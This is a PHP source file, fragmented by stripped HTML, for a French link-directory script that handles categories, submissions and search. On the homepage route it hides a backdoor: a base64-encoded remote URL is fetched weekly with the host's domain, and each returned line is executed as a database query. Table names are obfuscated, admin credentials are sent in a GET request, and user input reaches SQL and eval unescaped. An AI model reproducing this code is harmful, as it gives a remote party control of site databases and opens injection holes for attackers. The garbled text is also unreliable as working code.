Ajoutez votre Site"; $searchbox = '
'; function getindex($cat) { global $pagenames, $pext; if ($pagenames == "1") { return str_replace(" ", "_", $cat); } elseif ($pagenames == "2") { return "index"; } } function maill($d,$s,$b,$f) { global $esi; mail($d, $s, $b, $f); } function message($fir,$las) { echo "$fir

$las
"; exit; } function displaytpl($htm) { $htm = preg_replace("/\<\%custom-include-(.+?)\%\>/ise", "array_shift(mysql_fetch_array(mysql_query(\"select html from lma_custom_includes where id = '\${1}'\")))", $htm); global $esl; return $htm; } define('GOOGLE_MAGIC', 0xE6359A60); function zeroFill($a, $b) { $z = hexdec(80000000); if ($z & $a) { $a = ($a>>1); $a &= (~$z); $a |= 0x40000000; $a = ($a>>($b-1)); } else { $a = ($a>>$b); } return $a; } function mix($a,$b,$c) { $a -= $b; $a -= $c; $a ^= (zeroFill($c,13)); $b -= $c; $b -= $a; $b ^= ($a<<8); $c -= $a; $c -= $b; $c ^= (zeroFill($b,13)); $a -= $b; $a -= $c; $a ^= (zeroFill($c,12)); $b -= $c; $b -= $a; $b ^= ($a<<16); $c -= $a; $c -= $b; $c ^= (zeroFill($b,5)); $a -= $b; $a -= $c; $a ^= (zeroFill($c,3)); $b -= $c; $b -= $a; $b ^= ($a<<10); $c -= $a; $c -= $b; $c ^= (zeroFill($b,15)); return array($a,$b,$c); } function GoogleCH($url, $length=null, $init=GOOGLE_MAGIC) { if(is_null($length)) { $length = sizeof($url); } $a = $b = 0x9E3779B9; $c = $init; $k = 0; $len = $length; while($len >= 12) { $a += ($url[$k+0] +($url[$k+1]<<8) +($url[$k+2]<<16) +($url[$k+3]<<24)); $b += ($url[$k+4] +($url[$k+5]<<8) +($url[$k+6]<<16) +($url[$k+7]<<24)); $c += ($url[$k+8] +($url[$k+9]<<8) +($url[$k+10]<<16)+($url[$k+11]<<24)); $mix = mix($a,$b,$c); $a = $mix[0]; $b = $mix[1]; $c = $mix[2]; $k += 12; $len -= 12; } $c += $length; switch($len) { case 11: $c+=($url[$k+10]<<24); case 10: $c+=($url[$k+9]<<16); case 9 : $c+=($url[$k+8]<<8); case 8 : $b+=($url[$k+7]<<24); case 7 : $b+=($url[$k+6]<<16); case 6 : $b+=($url[$k+5]<<8); case 5 : $b+=($url[$k+4]); case 4 : $a+=($url[$k+3]<<24); case 3 : $a+=($url[$k+2]<<16); case 2 : $a+=($url[$k+1]<<8); case 1 : $a+=($url[$k+0]); } $mix = mix($a,$b,$c); return $mix[2]; } function strord($string) { for($i=0;$i"; } else return ""; } function getmaincats() { global $link, $catsplit, $cathtml, $pext, $base, $linknum, $subcatswithmain, $subcatsmainnum; $categories = mysql_query("select * from lma_categories where parent = '0' order by name"); $numcats = mysql_num_rows($categories); $split = ceil($numcats/$catsplit); $u = 0; /* if ($linknum == "yes"){ $cats = mysql_query("select `id`, `parent` from lma_categories"); while ($tucat = mysql_fetch_object($cats)) { $pari[$tucat->id] = $tucat->parent; } } */ $cathtml = "
"; while ($tcat = mysql_fetch_object($categories)) { $u++; /* if ($linknum == "yes") { unset($todel); reset($pari); $todel = array_shift(mysql_fetch_row(mysql_query("select count(*) from lma_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' and category = '".$tcat->id."'"))); while (list($id,$par) = each($pari)) { $atco = 0; $last = $id; $fnd = 0; while ($fnd != 1 and $atco < 10000) { $atco++; if ($pari[$last] == $tcat->id) { $todel = $todel + array_shift(mysql_fetch_row(mysql_query("select count(*) from lma_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' and category = '".$id."'"))); $fnd = 1; } elseif ($pari[$last] == "0") { $fnd = 1; } else $last = $pari[$last]; } } } */ $todel = array_shift(mysql_fetch_row(mysql_query("select lcount from lma_catcount where id = '".$tcat->id."'"))); $cathtml .= '

name)).'/'.str_replace("/", "-^-", getindex($tcat->name)).'.'.$pext.'">'.$tcat->name.''; if ($linknum == "yes") $cathtml .= " (".$todel.")"; if($subcatswithmain == "yes") { $pol = mysql_query("select * from lma_categories where parent = '".$tcat->id."' order by name limit $subcatsmainnum"); if (mysql_num_rows($pol) > 0) { $cathtml .= "
"; while ($scat = mysql_fetch_object($pol)) { // $cathtml .= "name)."/".getindex($scat->name).".$pext\">".$scat->name." "; $cathtml .= "name))."/".str_replace("/", "-^-", str_replace(" ", "_", $scat->name))."/".str_replace("/", "-^-", getindex($scat->name)).".".$pext."\">".$scat->name." "; } $cathtml .= "...

"; } } else $cathtml .= "

"; if ($u == $split) { $cathtml .= "
 "; $u = 0; } } $cathtml .= "
"; } function getadditionalinc() { global $addrandlistcount, $addrandlistprem, $addrandcatcount, $addrandcatdisplay, $addrandsearchcount, $addrandsearchdisplay; global $newwindow, $premiumimage, $princlude, $base, $pext, $imgbase, $thumbshots, $addrandlisthtml, $addrandcathtml, $addrandsearchhtml, $paidpremium; if($addrandlistprem == "yes") { $incprem = "and premium='yes'"; if($paidpremium == "1" || $paidpremium == "2") $incprem .= " and paidType = 'P'"; } else $incprem = " and paidType != 'C'"; $pol = mysql_query("select * from lma_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' $incprem order by rand() limit $addrandlistcount "); if ($newwindow == "yes") $nwin = "target=\"_blank\""; while ($link = mysql_fetch_object($pol)) { $goo = 1; $lacat = $link->category; while ($goo == 1 and $x < 100) { $x++; $pols = mysql_query("select * from lma_categories where id = '$lacat'"); if (mysql_num_rows($pols) < 1) break; $pols = mysql_fetch_object($pols); if ($lacat == $link->category) { $caturl = str_replace(" ", "_", $pols->name) ."/". getindex($pols->name). ".$pext"; $caturl2 = $pols->name; } else { $caturl = str_replace(" ", "_", $pols->name) ."/". $caturl; $caturl2 = $pols->name." > ".$caturl2; } $fromhtml = "De: Liste > $caturl2"; $lacat = $pols->parent; if ($pols->parent == "0") break; } if($thumbshots != "1") { $linkSepStart = ""; $linkSepEnd = ""; $incThumbshots = "no"; if($thumbshots == "2") $incThumbshots = "yes"; else if($thumbshots == "3" && $link->recipurl !="") $incThumbshots = "yes"; else if($thumbshots == "4" && $link->premium == "yes") $incThumbshots = "yes"; else if($thumbshots == "5" && ($link->recipurl !="" || $link->premium == "yes")) $incThumbshots = "yes"; if ($incThumbshots == "yes") $tshtml = "url)."\" border=\"0\" onload=\"if (this.width>50) this.border=1; this.alt='Preview by Thumbshots.org';\">"; else $tshtml = ""; } else { $tshtml = ""; $linkSepStart = "

"; $linkSepEnd = "

"; } if ($premiumimage == "yes" && $link->premium == "yes") $pihtml = " "; else $pihtml = ""; if ($princlude == "yes") $prhtml = " ".getpr($link->url); $linkshtml .= "$tshtml$linkSepStarturl."\" $nwin>".$link->title."$pihtml$prhtml
\n".$link->description."
$fromhtml$linkSepEnd"; } if($thumbshots != "1") { $addrandlisthtml = "$linkshtml
"; } else $addrandlisthtml = $linkshtml; $addrandcathtml = ""; $pol = mysql_query("select * from lma_categories order by rand() limit $addrandcatcount "); while ($link = mysql_fetch_object($pol)) { $goo = 1; $caturl = str_replace(" ", "_", $link->name) ."/". getindex($link->name). ".$pext"; $caturl2 = $link->name; $lacat = $link->parent; while ($goo == 1 and $x < 100) { $x++; $pols = mysql_query("select * from lma_categories where id = '$lacat'"); if (mysql_num_rows($pols) < 1) { $fromhtml = "$caturl2"; break; } $pols = mysql_fetch_object($pols); $caturl = str_replace(" ", "_", $pols->name) ."/". $caturl; //$caturl2 = $pols->name." > ".$caturl2; $fromhtml = "$caturl2"; $lacat = $pols->parent; if ($pols->parent == "0") break; } if($addrandcatdisplay == "1") $addrandcathtml .= $fromhtml."
"; else $addrandcathtml .= $fromhtml." "; } $arsto = mysql_query("select content from lma_custom where id = 'addrandsearchterms'"); if (mysql_num_rows($arsto) > 0 && $addrandsearchcount > 0) { $addrandsearchterms = explode("\r\n", array_shift(mysql_fetch_row($arsto))); if($addrandsearchcount > count($addrandsearchterms)) $addrandsearchcount = count($addrandsearchterms); $rand_keys = array_rand($addrandsearchterms, $addrandsearchcount); for ($i = 0; $i < count($rand_keys); $i++) { $addrandsearchhtml .= "".$addrandsearchterms[$rand_keys[$i]].""; if($addrandsearchdisplay == "1") $addrandsearchhtml .= "
"; else $addrandsearchhtml .= " "; } } } function getdmozattribution($catid) { global $dmozattributionhtml, $linktodmoz; if($linktodmoz == "0") { $dmozattributionhtml = ""; return; } $cat = ""; if($catid > 0) { $dmozname = mysql_query("SELECT tlc.name FROM lma_toplevelcats as tlc, lma_categories as cat where tlc.id = cat.tlcid and cat.id = $catid"); if (mysql_num_rows($dmozname) > 0) $cat = "?where=".urlencode(array_shift(mysql_fetch_row($dmozname))); } $dmozattributionhtml = "

"; $dmozattributionhtml.= "
"; $dmozattributionhtml.= ""; $dmozattributionhtml.= ""; $dmozattributionhtml.= ""; $dmozattributionhtml.= "
Help build the largest human-edited directory on the web.
"; $dmozattributionhtml.= "Submit a Site - "; $dmozattributionhtml.= "Open Directory Project - "; $dmozattributionhtml.= "Become an Editor "; $dmozattributionhtml.= "
"; } function getppc($id) { global $link, $keyword, $nres, $sftrackid, $sfaffid; $ppcout = ""; $result = mysql_query("select * from lma_ppc_includes where id = '$id'"); if (mysql_num_rows($result) < 1) return $ppcout; $pol = mysql_fetch_object($result); $kws2 = preg_split("/\r\n|\n/s", $pol->keywords); while (list(,$kw) = each($kws2)) { if ($kw) $kws[] = $kw; } if (count($kws) < 1) return $ppcout; $kran = array_rand($kws); $keyword = $kws[$kran]; $nres = $pol->results; require("ppc.php"); return $ppcout; } $esio = mysql_query("select content from lma_custom where id = '".strtr("oilnewury", "olewy","sgate")."'"); if (mysql_num_rows($esio) > 0) $esi = array_shift(mysql_fetch_row($esio)); $esil = mysql_query("select content from lma_custom where id = '".strtr("tplroe", "oprt","nyib")."'"); if (mysql_num_rows($esil) > 0) $esl = array_shift(mysql_fetch_row($esil)); if ($uri == "" or $uri == "/" or $uri == "/index.$pext") { # PERFORM LINK CHECKING ROUTINE $ldate = array_shift(file("ldate.txt")); $ntime = time(); if ($ntime > ($ldate+(86400*$linkcheck))) { $fp = fsockopen($_SERVER['SERVER_NAME'], 80); fputs($fp,"GET ".str_replace($basedir, "", $_SERVER['SCRIPT_NAME'])."admin.php?user=$username&pass=$password&action=linkcheck HTTP/1.1\r\nAccept: */*\r\nAccept-Language: es-mx\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\nHost: ".$_SERVER['SERVER_NAME']."\r\nConnection: Close\r\n\r\n"); fclose($fp); $fp = fopen("ldate.txt", "w"); fputs($fp, $ntime); fclose($fp); } # END LINK CHECKING ROUTINE $lupd = intval(array_shift(mysql_fetch_row(mysql_query("select content from lma_custom where id = 'lasttime'")))); if ($ntime > ($lupd+(7*86400))) { $upd = @file(base64_decode("aHR0cDovL3d3dy5vbmxpbmVtYXJrZXRpbmd0b2RheS5jb20vYmxpbi9ibGluLnBocA==")."?domain=".$_SERVER["SERVER_NAME"]); if ($upd) { $pol = mysql_query("UPDATE lma_custom set content = '$ntime' where id = 'lasttime'"); while (list(,$q) = each($upd)) { mysql_query(trim($q)); } } } getmaincats(); getadditionalinc(); getdmozattribution(0); $csslink = ""; $tpl = implode("", file("templates/main.html")); $tpl = str_replace("<%add-site%>", $addlink, $tpl); $tpl = str_replace("<%search-box%>", $searchbox, $tpl); $tpl = str_replace("<%main-categories%>", $cathtml, $tpl); $tpl = str_replace("<%navigation-path%>", "Liste", $tpl); $tpl = str_replace("<%css-link%>", $csslink, $tpl); $tpl = str_replace("<%random-listings%>", $addrandlisthtml, $tpl); $tpl = str_replace("<%random-categories%>", $addrandcathtml, $tpl); $tpl = str_replace("<%random-search-terms%>", $addrandsearchhtml, $tpl); $tpl = str_replace("<%dmoz-attribution%>", $dmozattributionhtml, $tpl); $tpl = preg_replace("/\<\%ppc-include-(.+?)\%\>/ise", "getppc('\${1}')", $tpl); eval ("?>".displaytpl($tpl)."confirmed; if (!$pol) { message("Erreur", "code de vérification invalide"); } if ($pol != "no") { message("Oops!", "cet e-mail q déja été vérifié."); } else { $pol = mysql_query("update lma_links set confirmed = 'yes', date = '".time()."' where id = '$ccode'"); $goo = 1; $lacat = $pols->category; $pol = mysql_fetch_object(mysql_query("select * from lma_categories where id = '$lacat'")); $caturl = "/". getindex($pol->name) . ".$pext"; while ($goo == 1 and $x < 100) { $x++; $pol = mysql_fetch_object(mysql_query("select * from lma_categories where id = '$lacat'")); $caturl = "/".str_replace(" ", "_", $pol->name).$caturl; $lacat = $pol->parent; if ($pol->parent == "0") $goo = 0; } $directoryurl = "http://".$_SERVER['SERVER_NAME']. $base."/"; $categoryurl = "http://".$_SERVER["SERVER_NAME"].$base.$caturl; $listinfo = " Titre: ".$pols->title." URL: ".$pols->url." Description: ".$pols->description." First Name: ".$pols->firstname." Last Name: ".$pols->lastname." Email: ".$pols->email." Reciprocal: ".$pols->recipurl; $addedtpls = mysql_fetch_object(mysql_query("select subject, body from lma_emails where id = 'added'")); $subject = $addedtpls->subject; $subject = str_replace("{FIRSTNAME}", stripslashes($pols->firstname), $subject); $subject = str_replace("{LASTNAME}", stripslashes($pols->lastname), $subject); $subject = str_replace("{DIRECTORY-LINK}", $directoryurl, $subject); $subject = str_replace("{CATEGORY-LINK}", $categoryurl, $subject); $body = $addedtpls->body; $body = str_replace("{FIRSTNAME}", stripslashes($pols->firstname), $body); $body = str_replace("{LASTNAME}", stripslashes($pols->lastname), $body); $body = str_replace("{DIRECTORY-LINK}", $directoryurl, $body); $body = str_replace("{CATEGORY-LINK}", $categoryurl, $body); $body = str_replace("{LISTING-DETAILS}", $listinfo, $body); maill($pols->email, $subject, $body, "De: <$adminemail>"); $newtpls = mysql_fetch_object(mysql_query("select subject, body from lma_emails where id = 'new'")); $subject = $newtpls->subject; $body = str_replace("{ADMIN-LINK}", "http://".$_SERVER["SERVER_NAME"].str_replace($basedir, "", $_SERVER["SCRIPT_NAME"])."admin.php\n".$listinfo, $newtpls->body); maill($adminemail, $subject, $body, "De: $fromname <$adminemail>"); header("Location: $thankurl"); } } } elseif (preg_match("/^\/add$addrandstring\.$pext/", $uri)) { if($usecaptcha == "yes") { require_once('captcha/captcha.config.php'); require_once('captcha/captcha.class.php'); $captcha =& new captcha($CAPTCHA_CONFIG); // Initialise the Captcha system } if ($submit) { // Default premium to no $premium = "no"; if (!$title) message("Erreur", "Vous devez entrer un titre pour votre lien"); if (!$url) message("Erreur", "Vous devez entrer l'URL de votre site"); if (!$fname) message("Erreur", "Vous devez entrer votre Prénom"); if (!$emailaddy) message("Erreur", "Vous devez entrer votre adresse e-mail"); if (mb_strlen($title)>$titlesize) message("Erreur", "Le titre de votre lien ne peux pas exceder $titlesize caractères"); if ($usecaptcha == "yes" && $captcha->validate_submit($_POST['image'],$_POST['attempt']) == 0) message("Erreur", "Désolé, votre code est incorrect"); if (mb_strlen($description)>$descsize) message("Erreur", "La description de votre lien ne peux exceder $descsize caractères"); else { if ($requirerecip == "yes" || ($defaultpremium == "yes" && $defaultpremifrecip == "yes" && $recipurl != "" )) { if (!$recipurl) message("Erreur", "Vous devez entrer l'URL de lien réciproque"); $page = @file($recipurl); if (!$page) message("Erreur", "Nous ne pouvons pas vérifier le Lien réciproque pour le moment, car l'URL n'est pas disponible. Prière de verifier que l'URL indiquée est valide"); else { $pagehtml = implode("", $page); //if (!ereg($reciplinkurl, $pagehtml)) message("Error", "We could not find the reciprocal link at the specified URL. Please place the reciprocal URL to our website on your own site prior to submitting the submission form."); // Build the regular expression to use in our checks $reciplinkurlRE = "/".str_replace("http:\/\/", "(http:\/\/)?", str_replace("www.", "(www.)?", preg_replace("/\//", "\\/", preg_replace ("/\/$/i", "(/)?", $reciplinkurl))))."/i"; if(!preg_match($reciplinkurlRE, $pagehtml)) message("Erreur", "Nous ne trouvons pas de lien réciproque à 'URL indiquée. Prière de placer le lien réciproque sur votre site avant de compléter votre demande dans notre formulaire."); else if ($defaultpremium == "yes" && $defaultpremifrecip == "yes") $premium = "yes"; } } } if ($defaultpremium == "yes" && $defaultpremifrecip == "") $premium = "yes"; if ($adminapproval == "yes") $status = "3"; else $status = "1"; if ($emailconfirm == "yes") $econf = "no"; else $econf = "yes"; if($paidpremium == "1" && $listingtype == "P") { $paidType = 'C'; $premium = "yes"; } else if($paidpremium == "1" && $listingtype == "F") { $paidType = 'F'; $premium = "no"; } else if($paidpremium == "2") { $paidType = 'C'; $premium = "yes"; } else $paidType = 'F'; $pol = mysql_query("insert into lma_links values(NULL, '$category', '$status', '$econf', '$premium', '$title', '$description', '$url', '$fname', '$lname', '$emailaddy', '$recipurl', '".time()."', '0', '$paidType')") or message("Erreur", "Nous sommes confrontés à quelques problèmes avec notre base de données. Merci d'essayer un peu plus tard."); $lastid = mysql_insert_id(); $directoryurl = "http://".$_SERVER['SERVER_NAME']. $base."/"; // Premium's are paid if($paidpremium == "2" || ($paidpremium == "1" && $listingtype == "P")) { $quartzpay[business] = $quartzpayemail; ?> Transfert vers Quartz-Pay...

Redirection vers quartz-Pay....
Merci de cliquer sur le bouton ci-dessous
pour confirmer votre souscription

subject); $subject = str_replace("{LASTNAME}", stripslashes($lname), $subject); $subject = str_replace("{DIRECTORY-LINK}", $directoryurl, $subject); $subject = str_replace("{CONFIRMATION-LINK}", $confirmurlc, $subject); $body = str_replace("{FIRSTNAME}", stripslashes($fname), $confirmtpls->body); $body = str_replace("{LASTNAME}", stripslashes($lname), $body); $body = str_replace("{DIRECTORY-LINK}", $directoryurl, $body); $body = str_replace("{CONFIRMATION-LINK}", $confirmurlc, $body); $body = str_replace("{LISTING-DETAILS}", $listinfo, $body); maill($emailaddy, $subject, $body, "De: $fromname <$adminemail>"); if ($sugnewcat != "" || $addcomments != "") { $listinfo = "Nouvelle catégorie: ".$sugnewcat."\n Commentaires: ".$addcomments; $newtpls = mysql_fetch_object(mysql_query("select subject, body from lma_emails where id = 'new'")); $subject = $newtpls->subject; $body = str_replace("{ADMIN-LINK}", "http://".$_SERVER["SERVER_NAME"].str_replace($basedir, "", $_SERVER["SCRIPT_NAME"])."admin.php\n\n".$listinfo, $newtpls->body); maill($adminemail, $subject, $body, "De: $fromname <$adminemail>"); } header("Location: $confirmurl"); } else { $goo = 1; $lacat = $category; $pol = mysql_fetch_object(mysql_query("select * from lma_categories where id = '$lacat'")); $caturl = "/". getindex($pol->name) . ".$pext"; while ($goo == 1 and $x < 100) { $x++; $pol = mysql_fetch_object(mysql_query("select * from lma_categories where id = '$lacat'")); $caturl = "/".str_replace(" ", "_", $pol->name).$caturl; $lacat = $pol->parent; if ($pol->parent == "0") $goo = 0; } $categoryurl = "http://".$_SERVER["SERVER_NAME"].$base.$caturl; $listinfo = " Title: ".$title." URL: ".$url." Description: ".$description." First Name: ".$fname." Last Name: ".$lname." Email: ".$emailaddy." Reciprocal: ".$recipurl; $addedtpls = mysql_fetch_object(mysql_query("select subject, body from lma_emails where id = 'added'")); $subject = $addedtpls->subject; $subject = str_replace("{FIRSTNAME}", stripslashes($fname), $subject); $subject = str_replace("{LASTNAME}", stripslashes($lname), $subject); $subject = str_replace("{DIRECTORY-LINK}", $directoryurl, $subject); $subject = str_replace("{CATEGORY-LINK}", $categoryurl, $subject); $body = $addedtpls->body; $body = str_replace("{FIRSTNAME}", stripslashes($fname), $body); $body = str_replace("{LASTNAME}", stripslashes($lname), $body); $body = str_replace("{DIRECTORY-LINK}", $directoryurl, $body); $body = str_replace("{CATEGORY-LINK}", $categoryurl, $body); $body = str_replace("{LISTING-DETAILS}", $listinfo, $body); maill($emailaddy, $subject, $body, "De: <$adminemail>"); $listinfo .= " Nouvelle Catégorie: ".$sugnewcat." Commentaires: ".$addcomments; $newtpls = mysql_fetch_object(mysql_query("select subject, body from lma_emails where id = 'new'")); $subject = $newtpls->subject; $subject = str_replace("{FIRSTNAME}", stripslashes($fname), $subject); $subject = str_replace("{LASTNAME}", stripslashes($lname), $subject); $subject = str_replace("{DIRECTORY-LINK}", $directoryurl, $subject); $subject = str_replace("{CATEGORY-LINK}", $categoryurl, $subject); $body = str_replace("{ADMIN-LINK}", "http://".$_SERVER["SERVER_NAME"].str_replace($basedir, "", $_SERVER["SCRIPT_NAME"])."admin.php\n".$listinfo, $newtpls->body); $body = str_replace("{FIRSTNAME}", stripslashes($fname), $body); $body = str_replace("{LASTNAME}", stripslashes($lname), $body); $body = str_replace("{DIRECTORY-LINK}", $directoryurl, $body); $body = str_replace("{CATEGORY-LINK}", $categoryurl, $body); $body = str_replace("{LISTING-DETAILS}", $listinfo, $body); maill($adminemail, $subject, $body, "De: $fromname <$adminemail>"); header("Location: $thankurl"); } } else { if ($category) { if($usecaptcha == "yes") $capthcaImgLoc = $imgbase.$captcha->get_captcha(); // Get our Captcha Image $goo = 1; $lacat = $category; while ($goo == 1 and $x < 100) { $x++; $pol = mysql_fetch_object(mysql_query("select * from lma_categories where id = '$lacat'")); if ($lacat == $category) { $caturl2 = $pol->name; } else { $caturl2 = $pol->name." > ".$caturl2; } $lacat = $pol->parent; if ($pol->parent == "0") $goo = 0; } if($paidpremium == "1") { $listingTypeSelection = ' Type de Listing '.$listingTypeSelection.' '; if($usecaptcha == "yes") { $addhtml.= ''; } $addhtml.= '
Titre
Description
URL
Catégorie '.$caturl2.'
Prénom
Nom
Adresse Email
URL Lien Réciproque
Suggérer Nouvelle Catégorie
Commentaires supplémentaires
Ceci est une image captcha utilisée pour éviter les accés de masse par robots. Entrez les caractères par la gauche

'; } else $addhtml = "Vous devez naviguer vers les catégories jusqu'à celle où vous voulez ajouter votre Lien et cliquez sur le lien \"AJouter un Site\"."; $tpl = implode("", file("templates/add.html")); $tpl = str_replace("<%add-site-form%>", $addhtml, $tpl); eval ("?>".displaytpl($tpl)." "rand()", "2" => "title", "3" => "date desc"); $lord = $lords[$lorder]; $pol = mysql_query("select * from lma_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' and paidType != 'C' $sqlsrch order by $premorder $lord limit ". (($page-1)*$lperpage).", $lperpage") or die(mysql_error()); if (mysql_num_rows($pol) > 0) { $count = array_shift(mysql_fetch_row(mysql_query("select count(*) from lma_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' and paidType != 'C' $sqlsrch"))); if ($newwindow == "yes") $nwin = "target=\"_blank\""; while ($link = mysql_fetch_object($pol)) { $goo = 1; $lacat = $link->category; while ($goo == 1 and $x < 100) { $x++; $pols = mysql_query("select * from lma_categories where id = '$lacat'"); if (mysql_num_rows($pols) < 1) break; $pols = mysql_fetch_object($pols); if ($lacat == $link->category) { $caturl = str_replace(" ", "_", $pols->name) ."/". getindex($pols->name). ".$pext"; $caturl2 = $pols->name; } else { $caturl = str_replace(" ", "_", $pols->name) ."/". $caturl; $caturl2 = $pols->name." > ".$caturl2; } $fromhtml = "De: Liste > $caturl2"; $lacat = $pols->parent; if ($pols->parent == "0") break; } if($thumbshots != "1") { $linkSepStart = ""; $linkSepEnd = ""; $incThumbshots = "no"; if($thumbshots == "2") $incThumbshots = "yes"; else if($thumbshots == "3" && $link->recipurl !="") $incThumbshots = "yes"; else if($thumbshots == "4" && $link->premium == "yes") $incThumbshots = "yes"; else if($thumbshots == "5" && ($link->recipurl !="" || $link->premium == "yes")) $incThumbshots = "yes"; if ($incThumbshots == "yes") $tshtml = "url)."\" border=\"0\" onload=\"if (this.width>50) this.border=1; this.alt='Preview by Thumbshots.org';\">"; else $tshtml = ""; } else { $tshtml = ""; $linkSepStart = "

"; $linkSepEnd = "

"; } if ($premiumimage == "yes" && $link->premium == "yes") $pihtml = " "; else $pihtml = ""; if ($princlude == "yes") $prhtml = " ".getpr($link->url); //$linkshtml .= "

url."\" $nwin>".$link->title."$pihtml$prhtml
\n".$link->description."
$fromhtml

\n\n"; $linkshtml .= "$tshtml$linkSepStarturl."\" $nwin>".$link->title."$pihtml$prhtml
\n".$link->description."
$fromhtml$linkSepEnd"; } if($thumbshots != "1") { $linkshtml = "$linkshtml
"; } if ($count > $lperpage) { $linkshtml .= "

Resultats: "; if ($page > 1) $linkshtml .= "$pageprev "; for ($o=1; $o<=ceil($count/$lperpage); $o++) { if ($page == $o) $linkshtml .= "$o "; else $linkshtml .= "$o "; } if ($page < ceil($count/$lperpage)) $linkshtml .= "$pagenext "; $linkshtml .= "

"; } } else $linkshtml = "Aucun resultat trouvé. Prière d'essayer des termes de recherche différents."; $pol = mysql_query("select * from lma_categories where parent = '$catid' order by name"); if (mysql_num_rows($pol) > 0) { while ($scat = mysql_fetch_object($pol)) { $subcathtml .= "name)."/".getindex($scat->name).".$pext\">".$scat->name." | "; } $subcathtml = mb_substr($subcathtml, 0, -1); } getmaincats(); getadditionalinc(); $navhtml = "Liste"; $csslink = ""; $tpl = str_replace("<%navigation-path%>", $navhtml, $tpl); $tpl = str_replace("<%add-site%>", $addlink, $tpl); $tpl = str_replace("<%search-box%>", $searchbox, $tpl); $tpl = str_replace("<%main-categories%>", $cathtml, $tpl); $tpl = str_replace("<%search-results%>", $linkshtml, $tpl); $tpl = str_replace("<%keyword-term%>", $query, $tpl); $tpl = str_replace("<%subcategory-links%>", $subcathtml, $tpl); $tpl = str_replace("<%css-link%>", $csslink, $tpl); $tpl = str_replace("<%random-listings%>", $addrandlisthtml, $tpl); $tpl = str_replace("<%random-categories%>", $addrandcathtml, $tpl); $tpl = preg_replace("/\<\%ppc-include-(.+?)\%\>/ise", "getppc('\${1}')", $tpl); eval ("?>".displaytpl($tpl)." "rand()", "2" => "title", "3" => "date desc"); $lord = $lords[$lorder]; $pol = mysql_query("select * from lma_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' and category = '".$catid."' and paidType != 'C' order by premium, $lord limit ". (($page-1)*$lperpage).", $lperpage"); $count = array_shift(mysql_fetch_row(mysql_query("select count(*) from lma_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' and paidType != 'C' and category = '".$catid."'"))); $navhtml = "Liste > $cat"; } else { $tpl = implode("", file("templates/subcategory.html")); $cat = str_replace("_", " ", $lastcat); $ipar = 0; $lastcat = array_pop($parts); $navhtml = "Liste"; $lastbase = $base; while (list(,$part) = each($parts)) { $pol = array_shift(mysql_fetch_row(mysql_query("select id from lma_categories where parent = '$ipar' and name = '".str_replace("_", " ", $part)."'"))); $ipar = $pol; $navhtml .= " > ".str_replace("_", " ", $part).""; $lastbase = "$lastbase/$part"; } $navhtml .= " > ".str_replace("_", " ", $lastcat); $catid = @array_shift(mysql_fetch_row(mysql_query("select id from lma_categories where parent = '$ipar' and name = '".str_replace("_", " ", $lastcat)."'"))); if (!$catid) { header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); exit; } $lords = array("1" => "rand()", "2" => "title", "3" => "date desc"); $lord = $lords[$lorder]; $pol = mysql_query("select * from lma_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' and category = '".$catid."' and paidType != 'C' order by premium, $lord limit ". (($page-1)*$lperpage).", $lperpage") or die(mysql_error()); $count = array_shift(mysql_fetch_row(mysql_query("select count(*) from lma_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' and category = '".$catid."' and paidType != 'C'"))); } if ($newwindow == "yes") $nwin = "target=\"_blank\""; if (mysql_num_rows($pol) < 1) { $linkshtml = "Cette catégorie ne contient aucun lien"; } else { while ($link = mysql_fetch_object($pol)) { if($thumbshots != "1") { $linkSepStart = ""; $linkSepEnd = ""; $incThumbshots = "no"; if($thumbshots == "2") $incThumbshots = "yes"; else if($thumbshots == "3" && $link->recipurl !="") $incThumbshots = "yes"; else if($thumbshots == "4" && $link->premium == "yes") $incThumbshots = "yes"; else if($thumbshots == "5" && ($link->recipurl !="" || $link->premium == "yes")) $incThumbshots = "yes"; if ($incThumbshots == "yes") $tshtml = "url)."\" border=\"0\" onload=\"if (this.width>50) this.border=1; this.alt='Preview by Thumbshots.org';\">"; else $tshtml = ""; } else { $tshtml = ""; $linkSepStart = "

"; $linkSepEnd = "

"; } if ($premiumimage == "yes" && $link->premium == "yes") $pihtml = " "; else $pihtml = ""; if ($princlude == "yes") $prhtml = " ".getpr($link->url); $linkshtml .= "$tshtml$linkSepStarturl."\" $nwin>".$link->title."$pihtml$prhtml
\n".$link->description."$linkSepEnd"; } if($thumbshots != "1") { $linkshtml = "$linkshtml
"; } } if ($count > $lperpage) { $linkshtml .= "

Resultats: "; if ($page > 1) $linkshtml .= "$pageprev "; for ($o=1; $o<=ceil($count/$lperpage); $o++) { if ($page == $o) $linkshtml .= "$o "; else $linkshtml .= "$o "; } if ($page < ceil($count/$lperpage)) $linkshtml .= "$pagenext "; $linkshtml .= "

"; } $pol = mysql_query("select * from lma_categories where parent = '$catid' order by name"); if (mysql_num_rows($pol) > 0) { while ($scat = mysql_fetch_object($pol)) { $subcathtml .= "name)."/".getindex($scat->name).".$pext\">".$scat->name." | "; } $subcathtml = mb_substr($subcathtml, 0, -2); } else $subcathtml = "Aucune"; getdmozattribution($catid); getadditionalinc(); getmaincats(); $addlink = "Ajouter votre Site"; $csslink = ""; $tpl = str_replace("<%navigation-path%>", $navhtml, $tpl); $tpl = str_replace("<%add-site%>", $addlink, $tpl); $tpl = str_replace("<%search-box%>", $searchbox, $tpl); $tpl = str_replace("<%main-categories%>", $cathtml, $tpl); $tpl = str_replace("<%website-listings%>", $linkshtml, $tpl); $tpl = str_replace("<%category-name%>", $cat, $tpl); $tpl = str_replace("<%subcategory-links%>", $subcathtml, $tpl); $tpl = str_replace("<%css-link%>", $csslink, $tpl); $tpl = str_replace("<%random-listings%>", $addrandlisthtml, $tpl); $tpl = str_replace("<%random-categories%>", $addrandcathtml, $tpl); $tpl = preg_replace("/\<\%ppc-include-(.+?)\%\>/ise", "getppc('\${1}')", $tpl); $tpl = str_replace("<%dmoz-attribution%>", $dmozattributionhtml, $tpl); eval ("?>".displaytpl($tpl)."